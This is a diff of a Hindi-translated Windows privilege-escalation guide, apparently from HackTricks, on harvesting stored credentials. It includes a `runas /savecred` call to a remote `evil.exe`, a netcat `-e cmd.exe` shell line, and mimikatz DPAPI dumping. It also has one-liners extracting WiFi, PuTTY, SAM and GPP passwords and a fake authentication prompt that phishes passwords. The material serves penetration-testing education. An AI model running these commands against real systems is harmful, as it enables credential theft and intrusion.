जिनके द्वारा **Windows** उपयोगकर्ताओं को स्वचालित रूप से लॉग इन कर सकता है, जिसका मतलब है कि कोई भी **Windows application that needs credentials to access a resource** (server or a website) **can make use of this Credential Manager** & Windows Vault और लगातार users के username और password दर्ज करने की जगह आपूर्ति किए गए credentials का उपयोग कर सकता है। -जब तक एप्लिकेशन Credential Manager के साथ इंटरैक्ट नहीं करते, मुझे नहीं लगता कि उनके लिए किसी दिए गए संसाधन के लिए क्रेडेंशियल्स का उपयोग करना संभव है। इसलिए, यदि आपका एप्लिकेशन वॉल्ट का उपयोग करना चाहता है, तो इसे किसी न किसी तरह **क्रेडेंशियल मैनेजर के साथ संवाद करना चाहिए और उस संसाधन के लिए क्रेडेंशियल्स को डिफ़ॉल्ट स्टोरेज वॉल्ट से अनुरोध करना चाहिए**। +जब तक applications Credential Manager के साथ interact नहीं करते, मुझे नहीं लगता कि वे किसी दिए गए resource के लिए credentials का उपयोग कर पाएंगे। इसलिए, अगर आपका application vault का उपयोग करना चाहता है, तो उसे किसी न किसी तरह **communicate with the credential manager and request the credentials for that resource** default storage vault से करना चाहिए। -मशीन पर संग्रहीत क्रेडेंशियल्स की सूची बनाने के लिए `cmdkey` का उपयोग करें। +मशीन पर स्टोर किए गए credentials की सूची देखने के लिए `cmdkey` का उपयोग करें। ```bash cmdkey /list Currently stored credentials: @@ -736,38 +748,39 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -फिर आप `/savecred` विकल्पों के साथ `runas` का उपयोग कर सकते हैं ताकि सहेजे गए क्रेडेंशियल्स का उपयोग किया जा सके। निम्नलिखित उदाहरण एक SMB शेयर के माध्यम से एक दूरस्थ बाइनरी को कॉल कर रहा है। +फिर आप `runas` को `/savecred` विकल्प के साथ उपयोग कर सकते हैं ताकि saved credentials का उपयोग किया जा सके। निम्न उदाहरण SMB share के माध्यम से एक remote binary को कॉल कर रहा है। ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -`runas` का उपयोग एक प्रदान किए गए क्रेडेंशियल सेट के साथ। +प्रदान किए गए credential के साथ `runas` का उपयोग करना। ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -ध्यान दें कि mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), या [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1) से। +ध्यान दें कि mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), या [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1) का उपयोग किया जा सकता है। ### DPAPI -**डेटा प्रोटेक्शन एपीआई (DPAPI)** डेटा के सममित एन्क्रिप्शन के लिए एक विधि प्रदान करता है, जो मुख्य रूप से विंडोज ऑपरेटिंग सिस्टम के भीतर सममित एन्क्रिप्शन के लिए उपयोग किया जाता है। यह एन्क्रिप्शन उपयोगकर्ता या सिस्टम रहस्य का उपयोग करता है ताकि एंट्रॉपी में महत्वपूर्ण योगदान दिया जा सके। +**Data Protection API (DPAPI)** डेटा के समान-कुंजी एन्क्रिप्शन के लिए एक तरीका प्रदान करता है, जो मुख्यतः Windows ऑपरेटिंग सिस्टम में असममित निजी कुंजियों के समान-कुंजी एन्क्रिप्शन के लिए उपयोग होता है। यह एन्क्रिप्शन entropy में महत्वपूर्ण योगदान देने के लिए किसी user या system secret का उपयोग करता है। -**DPAPI उपयोगकर्ता के लॉगिन रहस्यों से निकाले गए सममित कुंजी के माध्यम से कुंजी के एन्क्रिप्शन को सक्षम करता है**। सिस्टम एन्क्रिप्शन के मामलों में, यह सिस्टम के डोमेन प्रमाणीकरण रहस्यों का उपयोग करता है। +**DPAPI उपयोगकर्ता के लॉगिन सीक्रेट्स से व्युत्पन्न एक समान-कुंजी के माध्यम से कुंजियों का एन्क्रिप्शन सक्षम करता है**। सिस्टम एन्क्रिप्शन के परिदृश्यों में, यह सिस्टम के domain authentication secrets का उपयोग करता है। -DPAPI का उपयोग करके एन्क्रिप्टेड उपयोगकर्ता RSA कुंजी `%APPDATA%\Microsoft\Protect\{SID}` निर्देशिका में संग्रहीत होती हैं, जहाँ `{SID}` उपयोगकर्ता के [सुरक्षा पहचानकर्ता](https://en.wikipedia.org/wiki/Security_Identifier) का प्रतिनिधित्व करता है। **DPAPI कुंजी, जो उपयोगकर्ता की निजी कुंजियों को उसी फ़ाइल में सुरक्षित रखने वाले मास्टर कुंजी के साथ स्थित होती है**, आमतौर पर 64 बाइट्स के यादृच्छिक डेटा से बनी होती है। (यह ध्यान रखना महत्वपूर्ण है कि इस निर्देशिका तक पहुंच प्रतिबंधित है, जिससे `dir` कमांड के माध्यम से इसकी सामग्री को सूचीबद्ध करने से रोका जाता है, हालांकि इसे PowerShell के माध्यम से सूचीबद्ध किया जा सकता है)। +DPAPI का उपयोग करके एन्क्रिप्ट किए गए उपयोगकर्ता RSA कुंजी `%APPDATA%\Microsoft\Protect\{SID}` डायरेक्टरी में संग्रहीत होती हैं, जहाँ `{SID}` उपयोगकर्ता के [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) का प्रतिनिधित्व करता है। **DPAPI key, उसी फ़ाइल में उपयोगकर्ता की निजी कुंजियों की सुरक्षा करने वाले मास्टर की के साथ सह-स्थित होती है**, आमतौर पर 64 bytes का यादृच्छिक डेटा होता है। (यह ध्यान रखना महत्वपूर्ण है कि इस डायरेक्टरी तक पहुँच प्रतिबंधित है, जिससे इसकी सामग्री को CMD में `dir` कमांड के जरिये सूचीबद्ध करना रोका जाता है, हालांकि इसे PowerShell के माध्यम से सूचीबद्ध किया जा सकता है)। ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -आप **mimikatz module** `dpapi::masterkey` का उपयोग उचित तर्कों (`/pvk` या `/rpc`) के साथ इसे डिक्रिप्ट करने के लिए कर सकते हैं। +आप उपयुक्त arguments (`/pvk` या `/rpc`) के साथ **mimikatz module** `dpapi::masterkey` का उपयोग करके इसे decrypt कर सकते हैं। -**मास्टर पासवर्ड द्वारा सुरक्षित क्रेडेंशियल फ़ाइलें** आमतौर पर निम्नलिखित स्थान पर होती हैं: +The **credentials files protected by the master password** आम तौर पर स्थित होते हैं: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -आप **mimikatz module** `dpapi::cred` का उपयोग उचित `/masterkey` के साथ डिक्रिप्ट करने के लिए कर सकते हैं।\ -आप **memory** से **DPAPI** **masterkeys** को `sekurlsa::dpapi` module के साथ निकाल सकते हैं (यदि आप root हैं)। +आप उपयुक्त `/masterkey` के साथ **mimikatz module** `dpapi::cred` का उपयोग डिक्रिप्ट करने के लिए कर सकते हैं.\ +आप `sekurlsa::dpapi` module का उपयोग करके **memory** से कई **DPAPI** **masterkeys** निकाल सकते हैं (यदि आप root हैं)。 + {{#ref}} dpapi-extracting-passwords.md @@ -775,9 +788,9 @@ dpapi-extracting-passwords.md ### PowerShell Credentials -**PowerShell credentials** अक्सर **scripting** और स्वचालन कार्यों के लिए उपयोग किए जाते हैं, ताकि एन्क्रिप्टेड क्रेडेंशियल्स को सुविधाजनक तरीके से संग्रहीत किया जा सके। क्रेडेंशियल्स को **DPAPI** का उपयोग करके सुरक्षित किया जाता है, जिसका अर्थ है कि इन्हें केवल उसी उपयोगकर्ता द्वारा उसी कंप्यूटर पर डिक्रिप्ट किया जा सकता है जिस पर इन्हें बनाया गया था। +**PowerShell credentials** का उपयोग अक्सर **scripting** और automation कार्यों के लिए किया जाता है ताकि encrypted credentials को सुविधाजनक ढंग से स्टोर किया जा सके। ये credentials **DPAPI** द्वारा सुरक्षित होते हैं, जिसका सामान्यतः अर्थ यह है कि इन्हें केवल उन्हीं उपयोगकर्ता द्वारा उसी कंप्यूटर पर डिक्रिप्ट किया जा सकता है जिस पर इन्हें बनाया गया था। -आप फ़ाइल से PS क्रेडेंशियल्स को **decrypt** करने के लिए कर सकते हैं: +फाइल में मौजूद PS credentials को **डिक्रिप्ट** करने के लिए आप निम्न कर सकते हैं: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -788,7 +801,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### वाईफाई +### Wifi ```bash #List saved Wifi using netsh wlan show profile @@ -797,12 +810,13 @@ netsh wlan show profile key=clear #Oneliner to extract all wifi passwords cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on* ``` -### Saved RDP Connections +### सहेजे गए RDP Connections -आप इन्हें `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ -और `HKCU\Software\Microsoft\Terminal Server Client\Servers\` में पा सकते हैं। +आप इन्हें निम्न स्थानों पर पा सकते हैं: +`HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ +और `HKCU\Software\Microsoft\Terminal Server Client\Servers\` -### Recently Run Commands +### हाल ही में चलाए गए कमांड ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU @@ -812,17 +826,17 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ -You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module +आप मेमोरी से कई DPAPI masterkeys को Mimikatz के `sekurlsa::dpapi` module से **extract** कर सकते हैं ### Sticky Notes -लोग अक्सर Windows वर्कस्टेशनों पर StickyNotes ऐप का उपयोग **पासवर्ड** और अन्य जानकारी को सहेजने के लिए करते हैं, यह नहीं realizing कि यह एक डेटाबेस फ़ाइल है। यह फ़ाइल `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` पर स्थित है और इसे खोजने और जांचने के लिए हमेशा मूल्यवान होता है। +लोग अक्सर Windows workstations पर StickyNotes app का उपयोग **save passwords** और अन्य जानकारी रखने के लिए करते हैं, यह समझे बिना कि यह एक database फ़ाइल है। यह फ़ाइल `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` पर स्थित है और इसे खोजने और जांचने लायक हमेशा माना जाना चाहिए। ### AppCmd.exe -**ध्यान दें कि AppCmd.exe से पासवर्ड पुनर्प्राप्त करने के लिए आपको Administrator होना चाहिए और उच्च इंटीग्रिटी स्तर के तहत चलाना चाहिए।**\ -**AppCmd.exe** `%systemroot%\system32\inetsrv\` निर्देशिका में स्थित है।\ -यदि यह फ़ाइल मौजूद है तो संभव है कि कुछ **क्रेडेंशियल्स** कॉन्फ़िगर किए गए हैं और उन्हें **पुनर्प्राप्त** किया जा सकता है। +**Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ +**AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ +यदि यह फ़ाइल मौजूद है तो संभव है कि कुछ **credentials** configured किए गए हों और उन्हें **recovered** किया जा सके। This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash @@ -904,40 +918,40 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -जांचें कि `C:\Windows\CCM\SCClient.exe` मौजूद है या नहीं।\ -इंस्टॉलर **SYSTEM विशेषाधिकारों के साथ चलाए जाते हैं**, कई **DLL Sideloading के प्रति संवेदनशील हैं (जानकारी** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)।** +जांचें कि `C:\Windows\CCM\SCClient.exe` मौजूद है .\ +इंस्टॉलर **run with SYSTEM privileges**, कई **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** के लिए कमजोर होते हैं। ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## फ़ाइलें और रजिस्ट्र्री (क्रेडेंशियल्स) +## फ़ाइलें और रजिस्ट्री (Credentials) -### Putty क्रेड्स +### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Putty SSH होस्ट कुंजी +### Putty SSH होस्ट कुंजियाँ ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### SSH keys in registry +### रजिस्ट्री में SSH keys -SSH निजी कुंजी रजिस्ट्री कुंजी `HKCU\Software\OpenSSH\Agent\Keys` के अंदर संग्रहीत की जा सकती हैं, इसलिए आपको यह जांचना चाहिए कि क्या वहाँ कुछ दिलचस्प है: +SSH private keys `HKCU\Software\OpenSSH\Agent\Keys` रजिस्ट्री कुंजी के अंदर संग्रहीत हो सकती हैं, इसलिए आपको जांचना चाहिए कि वहाँ कुछ रोचक है या नहीं: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -यदि आप उस पथ के अंदर कोई प्रविष्टि पाते हैं, तो यह संभवतः एक सहेजा गया SSH कुंजी होगी। इसे एन्क्रिप्टेड रूप में संग्रहीत किया गया है लेकिन [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) का उपयोग करके इसे आसानी से डिक्रिप्ट किया जा सकता है।\ -इस तकनीक के बारे में अधिक जानकारी यहाँ है: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +यदि आप उस path के अंदर कोई एंट्री पाते हैं तो वह संभवतः एक saved SSH key होगी। यह encrypted रूप में स्टोर होती है लेकिन आसानी से [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) का उपयोग करके decrypted की जा सकती है.\ +इस तकनीक के बारे में अधिक जानकारी यहाँ: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -यदि `ssh-agent` सेवा चल नहीं रही है और आप चाहते हैं कि यह बूट पर स्वचालित रूप से शुरू हो, तो चलाएँ: +यदि `ssh-agent` service चल नहीं रही है और आप चाहते हैं कि यह बूट पर ऑटोमैटिक रूप से शुरू हो, तो चलाएँ: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> ऐसा लगता है कि यह तकनीक अब मान्य नहीं है। मैंने कुछ ssh कुंजी बनाने की कोशिश की, उन्हें `ssh-add` के साथ जोड़ा और ssh के माध्यम से एक मशीन में लॉगिन किया। रजिस्ट्री HKCU\Software\OpenSSH\Agent\Keys मौजूद नहीं है और procmon ने विषम कुंजी प्रमाणीकरण के दौरान `dpapi.dll` के उपयोग की पहचान नहीं की। +> ऐसा लगता है कि यह तकनीक अब मान्य नहीं है। मैंने कुछ ssh keys बनाए, उन्हें `ssh-add` से जोड़ा और ssh के माध्यम से एक मशीन में लॉगिन करने की कोशिश की। रजिस्ट्री HKCU\Software\OpenSSH\Agent\Keys मौजूद नहीं है और procmon ने असिमेट्रिक कुंजी प्रमाणीकरण के दौरान `dpapi.dll` के उपयोग की पहचान नहीं की। -### Unattended files +### बिना देखरेख वाली फाइलें ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -952,7 +966,9 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -आप इन फ़ाइलों को **metasploit** का उपयोग करके भी खोज सकते हैं: _post/windows/gather/enum_unattend_ +आप इन फ़ाइलों को खोजने के लिए **metasploit** का भी उपयोग कर सकते हैं: _post/windows/gather/enum_unattend_ + +उदाहरण सामग्री: ```xml @@ -971,7 +987,7 @@ dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>n ``` -### SAM & SYSTEM बैकअप +### SAM & SYSTEM बैकअप्स ```bash # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM @@ -993,13 +1009,13 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -एक फ़ाइल खोजें जिसका नाम **SiteList.xml** है। +एक फ़ाइल खोजें जिसका नाम **SiteList.xml** हो। -### Cached GPP Pasword +### Cached GPP पासवर्ड -एक विशेषता पहले उपलब्ध थी जिसने Group Policy Preferences (GPP) के माध्यम से मशीनों के एक समूह पर कस्टम स्थानीय व्यवस्थापक खातों को तैनात करने की अनुमति दी। हालाँकि, इस विधि में महत्वपूर्ण सुरक्षा खामियाँ थीं। सबसे पहले, Group Policy Objects (GPOs), जो SYSVOL में XML फ़ाइलों के रूप में संग्रहीत होते हैं, किसी भी डोमेन उपयोगकर्ता द्वारा एक्सेस किए जा सकते थे। दूसरे, इन GPPs के भीतर पासवर्ड, जो एक सार्वजनिक रूप से प्रलेखित डिफ़ॉल्ट कुंजी का उपयोग करके AES256 के साथ एन्क्रिप्ट किए गए थे, किसी भी प्रमाणित उपयोगकर्ता द्वारा डिक्रिप्ट किए जा सकते थे। यह एक गंभीर जोखिम प्रस्तुत करता था, क्योंकि इससे उपयोगकर्ताओं को उच्चाधिकार प्राप्त करने की अनुमति मिल सकती थी। +एक सुविधा पहले उपलब्ध थी जो Group Policy Preferences (GPP) के माध्यम से मशीनों के समूह पर कस्टम local administrator खातों को तैनात करने की अनुमति देती थी। हालांकि, इस तरीके में गंभीर सुरक्षा कमियाँ थीं। सबसे पहले, Group Policy Objects (GPOs), जो SYSVOL में XML फ़ाइलों के रूप में संग्रहीत होते हैं, किसी भी domain user द्वारा एक्सेस किए जा सकते थे। दूसरे, इन GPPs के अंदर के पासवर्ड, जो सार्वजनिक रूप से दस्तावेजीकृत default key का उपयोग करके AES256 से एन्क्रिप्ट थे, किसी भी authenticated user द्वारा डिक्रिप्ट किए जा सकते थे। यह एक गंभीर जोखिम था, क्योंकि इससे उपयोगकर्ता elevated privileges प्राप्त कर सकते थे। -इस जोखिम को कम करने के लिए, एक फ़ंक्शन विकसित किया गया था जो "cpassword" फ़ील्ड वाले स्थानीय रूप से कैश किए गए GPP फ़ाइलों को स्कैन करता है जो खाली नहीं है। ऐसी फ़ाइल मिलने पर, फ़ंक्शन पासवर्ड को डिक्रिप्ट करता है और एक कस्टम PowerShell ऑब्जेक्ट लौटाता है। यह ऑब्जेक्ट GPP और फ़ाइल के स्थान के बारे में विवरण शामिल करता है, जो इस सुरक्षा भेद्यता की पहचान और सुधार में मदद करता है। +इस जोखिम को कम करने के लिए, एक फ़ंक्शन विकसित किया गया जो locally cached GPP फ़ाइलों के लिए स्कैन करता है जिनमें खाली नहीं होने वाला "cpassword" फ़ील्ड मौजूद हो। ऐसी फ़ाइल मिलने पर, फ़ंक्शन पासवर्ड को डिक्रिप्ट करता है और एक custom PowerShell object लौटाता है। इस object में GPP और फ़ाइल के स्थान के बारे में विवरण शामिल होते हैं, जो इस सुरक्षा कमजोरी की पहचान और निवारण में मदद करते हैं। इन फ़ाइलों के लिए `C:\ProgramData\Microsoft\Group Policy\history` या _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (W Vista से पहले)_ में खोजें: @@ -1015,11 +1031,11 @@ AppData\Roaming\gcloud\access_tokens.db #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -crackmapexec का उपयोग करके पासवर्ड प्राप्त करना: +पासवर्ड प्राप्त करने के लिए crackmapexec का उपयोग करना: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS वेब कॉन्फ़िग +### IIS Web Config ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1033,7 +1049,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -web.config में क्रेडेंशियल्स का उदाहरण: +web.config के साथ credentials का उदाहरण: ```xml @@ -1071,9 +1087,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Ask for credentials +### credentials के लिए पूछें -You can always **ask the user to enter his credentials of even the credentials of a different user** if you think he can know them (notice that **asking** the client directly for the **credentials** is really **रिस्की**): +यदि आपको लगता है कि वह उन्हें जानता होगा तो आप हमेशा उपयोगकर्ता से उसके **credentials** या किसी अन्य उपयोगकर्ता के **credentials** दर्ज करने के लिए पूछ सकते हैं (ध्यान दें कि क्लाइंट से सीधे **पूछना** कि उसके **credentials** क्या हैं वास्तव में **जोखिमभरा** है): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1081,9 +1097,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **संभावित फ़ाइल नाम जिनमें क्रेडेंशियल्स हो सकते हैं** +### **संभावित फ़ाइल नाम जो credentials रख सकते हैं** -जाने-माने फ़ाइलें जो कुछ समय पहले **क्लियर-टेक्स्ट** या **Base64** में **पासवर्ड** रखती थीं +जानी-पहचानी फ़ाइलें जिनमें कुछ समय पहले **passwords** **clear-text** या **Base64** में मौजूद थे ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1147,7 +1163,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -सभी प्रस्तावित फ़ाइलों की खोज करें: +सभी प्रस्तावित फ़ाइलों को खोजें: ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1156,114 +1172,114 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### RecycleBin में क्रेडेंशियल्स +### RecycleBin में Credentials -आपको इसके अंदर क्रेडेंशियल्स की तलाश के लिए बिन की भी जांच करनी चाहिए +आपको Bin को भी जाँचना चाहिए ताकि इसके अंदर credentials की तलाश की जा सके -कई प्रोग्राम द्वारा सहेजे गए **पासवर्ड को पुनर्प्राप्त करने** के लिए आप उपयोग कर सकते हैं: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +कई प्रोग्रामों द्वारा सेव किए गए पासवर्ड **पुनर्प्राप्त** करने के लिए आप उपयोग कर सकते हैं: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### रजिस्ट्री के अंदर +### Registry के अंदर -**क्रेडेंशियल्स के साथ अन्य संभावित रजिस्ट्री कुंजी** +**अन्य संभावित registry keys जिनमें credentials हो सकते हैं** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s reg query "HKCU\Software\TightVNC\Server" reg query "HKCU\Software\OpenSSH\Agent\Key" ``` -[**Registry से openssh कुंजी निकालें।**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +[**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) ### ब्राउज़र्स इतिहास -आपको उन dbs की जांच करनी चाहिए जहाँ **Chrome या Firefox** के पासवर्ड संग्रहीत हैं।\ -ब्राउज़रों के इतिहास, बुकमार्क और पसंदीदा की भी जांच करें ताकि शायद कुछ **पासवर्ड** वहाँ संग्रहीत हों। +You should check for dbs where passwords from **Chrome or Firefox** are stored.\ +ब्राउज़रों के history, bookmarks और favourites भी चेक करें क्योंकि संभवतः कुछ **passwords are** वहाँ स्टोर हो सकते हैं। -ब्राउज़रों से पासवर्ड निकालने के लिए उपकरण: +Tools to extract passwords from browsers: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) - [**SharpChromium**](https://github.com/djhohnstein/SharpChromium) - [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) -### **COM DLL ओवरराइटिंग** +### **COM DLL Overwriting** -**कंपोनेंट ऑब्जेक्ट मॉडल (COM)** एक तकनीक है जो Windows ऑपरेटिंग सिस्टम के भीतर बनाई गई है जो विभिन्न भाषाओं के सॉफ़्टवेयर घटकों के बीच **अंतरसंवाद** की अनुमति देती है। प्रत्येक COM घटक को **क्लास आईडी (CLSID)** के माध्यम से **पहचान** किया जाता है और प्रत्येक घटक एक या एक से अधिक इंटरफेस के माध्यम से कार्यक्षमता को उजागर करता है, जिसे इंटरफेस आईडी (IIDs) के माध्यम से पहचाना जाता है। +**Component Object Model (COM)** Windows operating system के भीतर बनी एक तकनीक है जो अलग-अलग भाषाओं के software components के बीच intercommunication की अनुमति देती है। प्रत्येक COM component को एक class ID (CLSID) के माध्यम से पहचान दिया जाता है और प्रत्येक component एक या अधिक interfaces के माध्यम से functionality expose करता है, जिन्हें interface IDs (IIDs) द्वारा पहचाना जाता है। -COM वर्ग और इंटरफेस को रजिस्ट्री में **HKEY\CLASSES\ROOT\CLSID** और **HKEY\CLASSES\ROOT\Interface** के तहत परिभाषित किया गया है। यह रजिस्ट्री **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT** को मिलाकर बनाई गई है। +COM classes और interfaces registry में **HKEY\CLASSES\ROOT\CLSID** और **HKEY\CLASSES\ROOT\Interface** के अंतर्गत परिभाषित होते हैं। यह registry **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT** को मर्ज करके बनाया जाता है। -इस रजिस्ट्री के CLSIDs के अंदर आप बच्चे की रजिस्ट्री **InProcServer32** पा सकते हैं जिसमें एक **डिफ़ॉल्ट मान** होता है जो एक **DLL** की ओर इशारा करता है और एक मान जिसे **ThreadingModel** कहा जाता है जो **Apartment** (सिंगल-थ्रेडेड), **Free** (मल्टी-थ्रेडेड), **Both** (सिंगल या मल्टी) या **Neutral** (थ्रेड न्यूट्रल) हो सकता है। +Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). ![](<../../images/image (729).png>) -बुनियादी रूप से, यदि आप **किसी भी DLL को ओवरराइट** कर सकते हैं जो निष्पादित होने जा रही है, तो आप **अधिकार बढ़ा सकते हैं** यदि वह DLL किसी अन्य उपयोगकर्ता द्वारा निष्पादित होने जा रही है। +बुनियादी रूप से, अगर आप उन किसी भी DLLs को overwrite कर सकते हैं जिन्हें execute किया जाने वाला है, तो आप privileges escalate कर सकते हैं अगर वह DLL किसी अलग user द्वारा execute किया जाएगा। -यह जानने के लिए कि हमलावर COM Hijacking का उपयोग कैसे करते हैं, एक स्थायी तंत्र के रूप में जांचें: +To learn how attackers use COM Hijacking as a persistence mechanism check: {{#ref}} com-hijacking.md {{#endref}} -### **फाइलों और 